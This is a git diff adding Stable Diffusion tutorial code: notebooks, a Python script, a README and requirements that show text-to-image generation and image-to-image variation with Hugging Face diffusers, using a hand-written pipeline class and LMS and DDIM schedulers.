+ "28cd65b9d6f946abab83e430ab6d2017",
+ "a432cb1a0bc7418bb90248973e91c452",
+ "37af49a1966045ee992e01f45ff5df81",
+ "8120fb8694244e5dbbc448eb2a6e03dc",
+ "69faef33b09f4da7b1c11639102b2a4f",
+ "87d35ca268744638ad484ccf1a7fe2ed"
+ ]
+ },
+ "id": "ovvyensy6pDl",
+ "outputId": "2b0269af-4978-4a8b-eea9-96c12401dc62"
+ },
+ "outputs": [],
+ "source": [
+ "for i, prompt in enumerate(prompts):\n",
+ " image = pipe(prompt).images[0]\n",
+ " image.save(f'result_{i}.jpg')\n",
+ " images.append(image)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 785
+ },
+ "id": "vd532OSA8Md7",
+ "outputId": "a8ddd5b1-376b-4036-d87d-af9dc71c88e0"
+ },
+ "outputs": [],
+ "source": [
+ "images[0]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 785
+ },
+ "id": "ZpVbvylE8OEt",
+ "outputId": "5a577720-b68e-4657-9cbb-4112287afa23"
+ },
+ "outputs": [],
+ "source": [
+ "images[1]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 785
+ },
+ "id": "R1DNPbbz8PU-",
+ "outputId": "893bb392-96f0-4106-e3d7-f6def830ede1"
+ },
+ "outputs": [],
+ "source": [
+ "images[2]"
+ ]
+ },
+ {
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "Jd-5c7bouD-_"
+ },
+ "source": [
+ "# Manually working with the different components"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "01bGNP1n6aF4"
+ },
+ "outputs": [],
+ "source": [
+ "import torch\n",
+ "from torch import autocast\n",
+ "import numpy as np\n",
+ "\n",
+ "from transformers import CLIPTextModel, CLIPTokenizer\n",
+ "\n",
+ "from diffusers import AutoencoderKL\n",
+ "from diffusers import LMSDiscreteScheduler\n",
+ "from diffusers import UNet2DConditionModel\n",
+ "from diffusers.schedulers.scheduling_ddim import DDIMScheduler\n",
+ "\n",
+ "from tqdm import tqdm\n",
+ "from PIL import Image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "3yBgKeUs8LWU"
+ },
+ "outputs": [],
+ "source": [
+ "class ImageDiffusionModel:\n",
+ "\n",
+ " def __init__(self, vae, tokenizer, text_encoder, unet, \n",
+ " scheduler_LMS, scheduler_DDIM):\n",
+ " self.vae = vae\n",
+ " self.tokenizer = tokenizer\n",
+ " self.text_encoder = text_encoder\n",
+ " self.unet = unet\n",
+ " self.scheduler_LMS = scheduler_LMS\n",
+ " self.scheduler_DDIM = scheduler_DDIM\n",
+ " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+ " \n",
+ " \n",
+ " def get_text_embeds(self, text):\n",
+ " # tokenize the text\n",
+ " text_input = self.tokenizer(text, \n",
+ " padding='max_length', \n",
+ " max_length=tokenizer.model_max_length, \n",
+ " truncation=True, \n",
+ " return_tensors='pt')\n",
+ " # embed the text\n",
+ " with torch.no_grad():\n",
+ " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+ "\n",
+ " return text_embeds\n",
+ "\n",
+ " def get_prompt_embeds(self, prompt):\n",
+ " # get conditional prompt embeddings\n",
+ " cond_embeds = self.get_text_embeds(prompt)\n",
+ " # get unconditional prompt embeddings\n",
+ " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n",
+ " # concatenate the above 2 embeds\n",
+ " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n",
+ " return prompt_embeds\n",
+ "\n",
+ " def get_img_latents(self, \n",
+ " text_embeds, \n",
+ " height=512, width=512, \n",
+ " num_inference_steps=50, \n",
+ " guidance_scale=7.5, \n",
+ " img_latents=None):\n",
+ " # if no image latent is passed, start reverse diffusion with random noise\n",
+ " if img_latents is None:\n",
+ " img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\\\n",
+ " height // 8, width // 8)).to(self.device)\n",
+ " # set the number of inference steps for the scheduler\n",
+ " self.scheduler_LMS.set_timesteps(num_inference_steps)\n",
+ " # scale the latent embeds\n",
+ " img_latents = img_latents * self.scheduler_LMS.sigmas[0]\n",
+ " # use autocast for automatic mixed precision (AMP) inference\n",
+ " with autocast('cuda'):\n",
+ " for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)):\n",
+ " # do a single forward pass for both the conditional and unconditional latents\n",
+ " latent_model_input = torch.cat([img_latents] * 2)\n",
+ " sigma = self.scheduler_LMS.sigmas[i]\n",
+ " latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5)\n",
+ " \n",
+ " # predict noise residuals\n",
+ " with torch.no_grad():\n",
+ " noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n",
+ "\n",
+ " # separate predictions for unconditional and conditional outputs\n",
+ " noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n",
+ " # perform guidance\n",
+ " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n",
+ "\n",
+ " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+ " img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample']\n",
+ "\n",
+ " return img_latents\n",
+ "\n",
+ "\n",
+ " def decode_img_latents(self, img_latents):\n",
+ " img_latents = img_latents / 0.18215\n",
+ " with torch.no_grad():\n",
+ " imgs = self.vae.decode(img_latents)[\"sample\"]\n",
+ " # load image in the CPU\n",
+ " imgs = imgs.detach().cpu()\n",
+ " return imgs\n",
+ "\n",
+ "\n",
+ "\n",
+ " def transform_imgs(self, imgs):\n",
+ " # transform images from the range [-1, 1] to [0, 1]\n",
+ " imgs = (imgs / 2 + 0.5).clamp(0, 1)\n",
+ " # permute the channels and convert to numpy arrays\n",
+ " imgs = imgs.permute(0, 2, 3, 1).numpy()\n",
+ " # scale images to the range [0, 255] and convert to int\n",
+ " imgs = (imgs * 255).round().astype('uint8') \n",
+ " # convert to PIL Image objects\n",
+ " imgs = [Image.fromarray(img) for img in imgs]\n",
+ " return imgs\n",
+ " \n",
+ " \n",
+ " \n",
+ " def prompt_to_img(self, \n",
+ " prompts, \n",
+ " height=512, width=512, \n",
+ " num_inference_steps=50, \n",
+ " guidance_scale=7.5, \n",
+ " img_latents=None):\n",
+ " \n",
+ " # convert prompt to a list\n",
+ " if isinstance(prompts, str):\n",
+ " prompts = [prompts]\n",
+ " \n",
+ " # get prompt embeddings\n",
+ " text_embeds = self.get_prompt_embeds(prompts)\n",
+ "\n",
+ " # get image embeddings\n",
+ " img_latents = self.get_img_latents(text_embeds,\n",
+ " height, width,\n",
+ " num_inference_steps,\n",
+ " guidance_scale, \n",
+ " img_latents)\n",
+ " # decode the image embeddings\n",
+ " imgs = self.decode_img_latents(img_latents)\n",
+ " # convert decoded image to suitable PIL Image format\n",
+ " imgs = self.transform_imgs(imgs)\n",
+ "\n",
+ " return imgs\n",
+ "\n",
+ "\n",
+ "\n",
+ " def encode_img_latents(self, imgs):\n",
+ " if not isinstance(imgs, list):\n",
+ " imgs = [imgs]\n",
+ " \n",
+ " imgs = np.stack([np.array(img) for img in imgs], axis=0)\n",
+ " # scale images to the range [-1, 1]\n",
+ " imgs = 2 * ((imgs / 255.0) - 0.5)\n",
+ " imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2)\n",
+ "\n",
+ " # encode images\n",
+ " img_latents_dist = self.vae.encode(imgs.to(self.device))\n",
+ " # img_latents = img_latents_dist.sample()\n",
+ " img_latents = img_latents_dist[\"latent_dist\"].mean.clone()\n",
+ " # scale images\n",
+ " img_latents *= 0.18215\n",
+ "\n",
+ " return img_latents\n",
+ "\n",
+ "\n",
+ " def get_img_latents_similar(self,\n",
+ " img_latents,\n",
+ " text_embeds, \n",
+ " height=512, width=512, \n",
+ " num_inference_steps=50, \n",
+ " guidance_scale=7.5,\n",
+ " start_step=10): \n",
+ " \n",
+ " # set the number of inference steps for the scheduler\n",
+ " self.scheduler_DDIM.set_timesteps(num_inference_steps)\n",
+ "\n",
+ " if start_step > 0:\n",
+ " start_timestep = self.scheduler_DDIM.timesteps[start_step]\n",
+ " start_timesteps = start_timestep.repeat(img_latents.shape[0]).long()\n",
+ "\n",
+ " noise = torch.randn_like(img_latents)\n",
+ " img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps)\n",
+ " \n",
+ " # use autocast for automatic mixed precision (AMP) inference\n",
+ " with autocast('cuda'):\n",
+ " for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])):\n",
+ " # do a single forward pass for both the conditional and unconditional latents\n",
+ " latent_model_input = torch.cat([img_latents] * 2)\n",
+ " \n",
+ " # predict noise residuals\n",
+ " with torch.no_grad():\n",
+ " noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n",
+ "\n",
+ " # separate predictions for unconditional and conditional outputs\n",
+ " noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n",
+ " # perform guidance\n",
+ " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n",
+ "\n",
+ " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+ " img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample']\n",
+ "\n",
+ " return img_latents\n",
+ "\n",
+ " \n",
+ " def similar_imgs(self, \n",
+ " img, \n",
+ " prompt, \n",
+ " height=512, width=512,\n",
+ " num_inference_steps=50, \n",
+ " guidance_scale=7.5,\n",
+ " start_step=10):\n",
+ " \n",
+ " # get image latents\n",
+ " img_latents = self.encode_img_latents(img)\n",
+ "\n",
+ " if isinstance(prompt, str):\n",
+ " prompt = [prompt]\n",
+ "\n",
+ " text_embeds = self.get_prompt_embeds(prompt)\n",
+ " \n",
+ " img_latents = self.get_img_latents_similar(img_latents=img_latents,\n",
+ " text_embeds=text_embeds,\n",
+ " height=height, width=width,\n",
+ " num_inference_steps=num_inference_steps,\n",
+ " guidance_scale=guidance_scale,\n",
+ " start_step=start_step) \n",
+ "\n",
+ " imgs = self.decode_img_latents(img_latents)\n",
+ " imgs = self.transform_imgs(imgs)\n",
+ " # Clear the CUDA cache\n",
+ " torch.cuda.empty_cache()\n",
+ "\n",
+ " return imgs\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "kd6TwWqEs4Me"
+ },
+ "outputs": [],
+ "source": [
+ "device = 'cuda'\n",
+ "\n",
+ "# model_name = \"dreamlike-art/dreamlike-photoreal-2.0\"\n",
+ "model_name = \"CompVis/stable-diffusion-v1-4\"\n",
+ "# Load autoencoder\n",
+ "vae = AutoencoderKL.from_pretrained(model_name, \n",
+ " subfolder='vae').to(device)\n",
+ "\n",
+ "# Load tokenizer and the text encoder\n",
+ "tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder=\"tokenizer\")\n",
+ "text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder=\"text_encoder\").to(device)\n",
+ "\n",
+ "# Load UNet model\n",
+ "unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device)\n",
+ "\n",
+ "# Load scheduler\n",
+ "scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, \n",
+ " beta_end=0.012, \n",
+ " beta_schedule='scaled_linear', \n",
+ " num_train_timesteps=1000)\n",
+ "\n",
+ "scheduler_DDIM = DDIMScheduler(beta_start=0.00085, \n",
+ " beta_end=0.012, \n",
+ " beta_schedule='scaled_linear', \n",
+ " num_train_timesteps=1000)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "SigUHp47f14I",
+ "outputId": "bad874ae-1e68-45fe-ef31-9fe887780582"
+ },
+ "outputs": [],
+ "source": [
+ "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+ "\n",
+ "prompts = [\"A really giant cute pink barbie doll on the top of Burj Khalifa\", \n",
+ " \"A green, scary aesthetic dragon breathing fire near a group of heroic firefighters\"]\n",
+ "\n",
+ "imgs = model.prompt_to_img(prompts)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 529
+ },
+ "id": "8UpQ8gIWf17j",
+ "outputId": "165f5a5d-fe20-4303-c46f-b247efd05181"
+ },
+ "outputs": [],
+ "source": [
+ "imgs[0]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 529
+ },
+ "id": "NAS1yD8vZym_",
+ "outputId": "ef57db7c-a6c9-437f-d27e-94b2bab06ea9"
+ },
+ "outputs": [],
+ "source": [
+ "imgs[1]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 603
+ },
+ "id": "nj8pcEOupRES",
+ "outputId": "0ced4046-ed46-4bd0-8b77-1c23ca73dab6"
+ },
+ "outputs": [],
+ "source": [
+ "prompt = [\"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"]\n",
+ "\n",
+ "imgs = model.prompt_to_img(prompt)\n",
+ "\n",
+ "imgs[0]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "GmXyduZ1npqg"
+ },
+ "outputs": [],
+ "source": [
+ "# saving the image\n",
+ "imgs[0].save(\"spaceship1.png\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 529
+ },
+ "id": "RuAHYae4r3MC",
+ "outputId": "c4be8be3-cacb-48f6-b70c-15ec69afe5b0"
+ },
+ "outputs": [],
+ "source": [
+ "# loading the image again\n",
+ "original_img = Image.open(\"spaceship1.png\")\n",
+ "original_img"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "qMcpCt20RyKi"
+ },
+ "outputs": [],
+ "source": [
+ "import torch\n",
+ "import gc\n",
+ "\n",
+ "### If you get OOM errors, execute this cell\n",
+ "# del model\n",
+ "# Clear the CUDA cache \n",
+ "torch.cuda.empty_cache()\n",
+ "gc.collect()\n",
+ "torch.cuda.empty_cache()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "1TQNiEE86Y6E",
+ "outputId": "2b87847d-6a63-4ec7-9cc1-7ac6a3396a48"
+ },
+ "outputs": [],
+ "source": [
+ "!nvidia-smi"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 547
+ },
+ "id": "1vIVmpL4rPmK",
+ "outputId": "4bbc1c35-6850-41f0-a430-39d764a59f2a"
+ },
+ "outputs": [],
+ "source": [
+ "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+ "\n",
+ "prompt = \"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"\n",
+ "\n",
+ "imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30)\n",
+ "imgs[0]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
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+ "height": 547
+ },
+ "id": "zOL-Y7BFai7d",
+ "outputId": "666384a3-667d-4715-cbe1-07566afa242d"
+ },
+ "outputs": [],
+ "source": [
+ "# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+ "\n",
+ "prompt = \"Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon\"\n",
+ "\n",
+ "imgs = model.similar_imgs(original_img, prompt,\n",
+ " num_inference_steps=50,\n",
+ " start_step=40)\n",
+ "imgs[0]"
+ ]
+ },
+ {
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diff --git a/machine-learning/stable-diffusion-models/README.md b/machine-learning/stable-diffusion-models/README.md
new file mode 100644
index 00000000..322e7759
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/README.md
@@ -0,0 +1 @@
+# [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python)
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py
new file mode 100644
index 00000000..1edeccc6
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py
@@ -0,0 +1,372 @@
+# %%
+%pip install --quiet --upgrade diffusers transformers accelerate
+
+# %%
+# The xformers package is mandatory to be able to create several 768x768 images.
+%pip install -q xformers==0.0.16rc425
+
+# %% [markdown]
+# # Using Dreamlike Photoreal
+
+# %%
+from diffusers import StableDiffusionPipeline
+import torch
+
+# %%
+model_id = "dreamlike-art/dreamlike-photoreal-2.0"
+pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16)
+pipe = pipe.to("cuda")
+
+# %%
+prompts = ["Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background",
+ "Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art",
+ "Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic"]
+
+images = []
+
+# %%
+for i, prompt in enumerate(prompts):
+ image = pipe(prompt).images[0]
+ image.save(f'result_{i}.jpg')
+ images.append(image)
+
+# %%
+images[0]
+
+# %%
+images[1]
+
+# %%
+images[2]
+
+# %% [markdown]
+# # Manually working with the different components
+
+# %%
+import torch
+from torch import autocast
+import numpy as np
+
+from transformers import CLIPTextModel, CLIPTokenizer
+
+from diffusers import AutoencoderKL
+from diffusers import LMSDiscreteScheduler
+from diffusers import UNet2DConditionModel
+from diffusers.schedulers.scheduling_ddim import DDIMScheduler
+
+from tqdm import tqdm
+from PIL import Image
+
+# %%
+class ImageDiffusionModel:
+
+ def __init__(self, vae, tokenizer, text_encoder, unet,
+ scheduler_LMS, scheduler_DDIM):
+ self.vae = vae
+ self.tokenizer = tokenizer
+ self.text_encoder = text_encoder
+ self.unet = unet
+ self.scheduler_LMS = scheduler_LMS
+ self.scheduler_DDIM = scheduler_DDIM
+ self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+
+
+ def get_text_embeds(self, text):
+ # tokenize the text
+ text_input = self.tokenizer(text,
+ padding='max_length',
+ max_length=tokenizer.model_max_length,
+ truncation=True,
+ return_tensors='pt')
+ # embed the text
+ with torch.no_grad():
+ text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]
+
+ return text_embeds
+
+ def get_prompt_embeds(self, prompt):
+ # get conditional prompt embeddings
+ cond_embeds = self.get_text_embeds(prompt)
+ # get unconditional prompt embeddings
+ uncond_embeds = self.get_text_embeds([''] * len(prompt))
+ # concatenate the above 2 embeds
+ prompt_embeds = torch.cat([uncond_embeds, cond_embeds])
+ return prompt_embeds
+
+ def get_img_latents(self,
+ text_embeds,
+ height=512, width=512,
+ num_inference_steps=50,
+ guidance_scale=7.5,
+ img_latents=None):
+ # if no image latent is passed, start reverse diffusion with random noise
+ if img_latents is None:
+ img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\
+ height // 8, width // 8)).to(self.device)
+ # set the number of inference steps for the scheduler
+ self.scheduler_LMS.set_timesteps(num_inference_steps)
+ # scale the latent embeds
+ img_latents = img_latents * self.scheduler_LMS.sigmas[0]
+ # use autocast for automatic mixed precision (AMP) inference
+ with autocast('cuda'):
+ for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)):
+ # do a single forward pass for both the conditional and unconditional latents
+ latent_model_input = torch.cat([img_latents] * 2)
+ sigma = self.scheduler_LMS.sigmas[i]
+ latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5)
+
+ # predict noise residuals
+ with torch.no_grad():
+ noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']
+
+ # separate predictions for unconditional and conditional outputs
+ noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)
+ # perform guidance
+ noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)
+
+ # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+ img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample']
+
+ return img_latents
+
+
+ def decode_img_latents(self, img_latents):
+ img_latents = img_latents / 0.18215
+ with torch.no_grad():
+ imgs = self.vae.decode(img_latents)["sample"]
+ # load image in the CPU
+ imgs = imgs.detach().cpu()
+ return imgs
+
+
+
+ def transform_imgs(self, imgs):
+ # transform images from the range [-1, 1] to [0, 1]
+ imgs = (imgs / 2 + 0.5).clamp(0, 1)
+ # permute the channels and convert to numpy arrays
+ imgs = imgs.permute(0, 2, 3, 1).numpy()
+ # scale images to the range [0, 255] and convert to int
+ imgs = (imgs * 255).round().astype('uint8')
+ # convert to PIL Image objects
+ imgs = [Image.fromarray(img) for img in imgs]
+ return imgs
+
+
+
+ def prompt_to_img(self,
+ prompts,
+ height=512, width=512,
+ num_inference_steps=50,
+ guidance_scale=7.5,
+ img_latents=None):
+
+ # convert prompt to a list
+ if isinstance(prompts, str):
+ prompts = [prompts]
+
+ # get prompt embeddings
+ text_embeds = self.get_prompt_embeds(prompts)
+
+ # get image embeddings
+ img_latents = self.get_img_latents(text_embeds,
+ height, width,
+ num_inference_steps,
+ guidance_scale,
+ img_latents)
+ # decode the image embeddings
+ imgs = self.decode_img_latents(img_latents)
+ # convert decoded image to suitable PIL Image format
+ imgs = self.transform_imgs(imgs)
+
+ return imgs
+
+
+
+ def encode_img_latents(self, imgs):
+ if not isinstance(imgs, list):
+ imgs = [imgs]
+
+ imgs = np.stack([np.array(img) for img in imgs], axis=0)
+ # scale images to the range [-1, 1]
+ imgs = 2 * ((imgs / 255.0) - 0.5)
+ imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2)
+
+ # encode images
+ img_latents_dist = self.vae.encode(imgs.to(self.device))
+ # img_latents = img_latents_dist.sample()
+ img_latents = img_latents_dist["latent_dist"].mean.clone()
+ # scale images
+ img_latents *= 0.18215
+
+ return img_latents
+
+
+ def get_img_latents_similar(self,
+ img_latents,
+ text_embeds,
+ height=512, width=512,
+ num_inference_steps=50,
+ guidance_scale=7.5,
+ start_step=10):
+
+ # set the number of inference steps for the scheduler
+ self.scheduler_DDIM.set_timesteps(num_inference_steps)
+
+ if start_step > 0:
+ start_timestep = self.scheduler_DDIM.timesteps[start_step]
+ start_timesteps = start_timestep.repeat(img_latents.shape[0]).long()
+
+ noise = torch.randn_like(img_latents)
+ img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps)
+
+ # use autocast for automatic mixed precision (AMP) inference
+ with autocast('cuda'):
+ for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])):
+ # do a single forward pass for both the conditional and unconditional latents
+ latent_model_input = torch.cat([img_latents] * 2)
+
+ # predict noise residuals
+ with torch.no_grad():
+ noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']
+
+ # separate predictions for unconditional and conditional outputs
+ noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)
+ # perform guidance
+ noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)
+
+ # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+ img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample']
+
+ return img_latents
+
+
+ def similar_imgs(self,
+ img,
+ prompt,
+ height=512, width=512,
+ num_inference_steps=50,
+ guidance_scale=7.5,
+ start_step=10):
+
+ # get image latents
+ img_latents = self.encode_img_latents(img)
+
+ if isinstance(prompt, str):
+ prompt = [prompt]
+
+ text_embeds = self.get_prompt_embeds(prompt)
+
+ img_latents = self.get_img_latents_similar(img_latents=img_latents,
+ text_embeds=text_embeds,
+ height=height, width=width,
+ num_inference_steps=num_inference_steps,
+ guidance_scale=guidance_scale,
+ start_step=start_step)
+
+ imgs = self.decode_img_latents(img_latents)
+ imgs = self.transform_imgs(imgs)
+ # Clear the CUDA cache
+ torch.cuda.empty_cache()
+
+ return imgs
+
+
+# %%
+device = 'cuda'
+
+# model_name = "dreamlike-art/dreamlike-photoreal-2.0"
+model_name = "CompVis/stable-diffusion-v1-4"
+# Load autoencoder
+vae = AutoencoderKL.from_pretrained(model_name,
+ subfolder='vae').to(device)
+
+# Load tokenizer and the text encoder
+tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder="tokenizer")
+text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder="text_encoder").to(device)
+
+# Load UNet model
+unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device)
+
+# Load scheduler
+scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085,
+ beta_end=0.012,
+ beta_schedule='scaled_linear',
+ num_train_timesteps=1000)
+
+scheduler_DDIM = DDIMScheduler(beta_start=0.00085,
+ beta_end=0.012,
+ beta_schedule='scaled_linear',
+ num_train_timesteps=1000)
+
+# %%
+model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompts = ["A really giant cute pink barbie doll on the top of Burj Khalifa",
+ "A green, scary aesthetic dragon breathing fire near a group of heroic firefighters"]
+
+imgs = model.prompt_to_img(prompts)
+
+# %%
+imgs[0]
+
+# %%
+imgs[1]
+
+# %%
+prompt = ["Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon"]
+
+imgs = model.prompt_to_img(prompt)
+
+imgs[0]
+
+# %%
+# saving the image
+imgs[0].save("spaceship1.png")
+
+# %%
+# loading the image again
+original_img = Image.open("spaceship1.png")
+original_img
+
+# %%
+import torch
+import gc
+
+### If you get OOM errors, execute this cell
+# del model
+# Clear the CUDA cache
+torch.cuda.empty_cache()
+gc.collect()
+torch.cuda.empty_cache()
+
+# %%
+!nvidia-smi
+
+# %%
+model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompt = "Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon"
+
+imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30)
+imgs[0]
+
+# %%
+# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompt = "Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon"
+
+imgs = model.similar_imgs(original_img, prompt,
+ num_inference_steps=50,
+ start_step=40)
+imgs[0]
+
+# %%
+
+
+# %%
+
+
+# %%
+
+
+
diff --git a/machine-learning/stable-diffusion-models/requirements.txt b/machine-learning/stable-diffusion-models/requirements.txt
new file mode 100644
index 00000000..9033779d
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/requirements.txt
@@ -0,0 +1,4 @@
+diffusers
+transformers
+accelerate
+xformers==0.0.16rc425
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/README.md b/machine-learning/stable-diffusion-upscaler/README.md
new file mode 100644
index 00000000..3ae8e02d
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/README.md
@@ -0,0 +1 @@
+# [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface)
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..3fdee1e8
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb
@@ -0,0 +1,7341 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "-C875CYSCygt",
+ "outputId": "dd991ed9-d57f-4e5b-bee3-bcb6882369d9"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install -qU diffusers transformers accelerate scipy safetensors"
+ ]
+ },
+ {
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "mAHWEPSfUlmg"
+ },
+ "source": [
+ "# Hugging Face Implementation"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "jor1D7LvDA9l"
+ },
+ "outputs": [],
+ "source": [
+ "import requests\n",
+ "from PIL import Image\n",
+ "from io import BytesIO\n",
+ "from diffusers import StableDiffusionUpscalePipeline\n",
+ "import torch"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 465,
+ "referenced_widgets": [
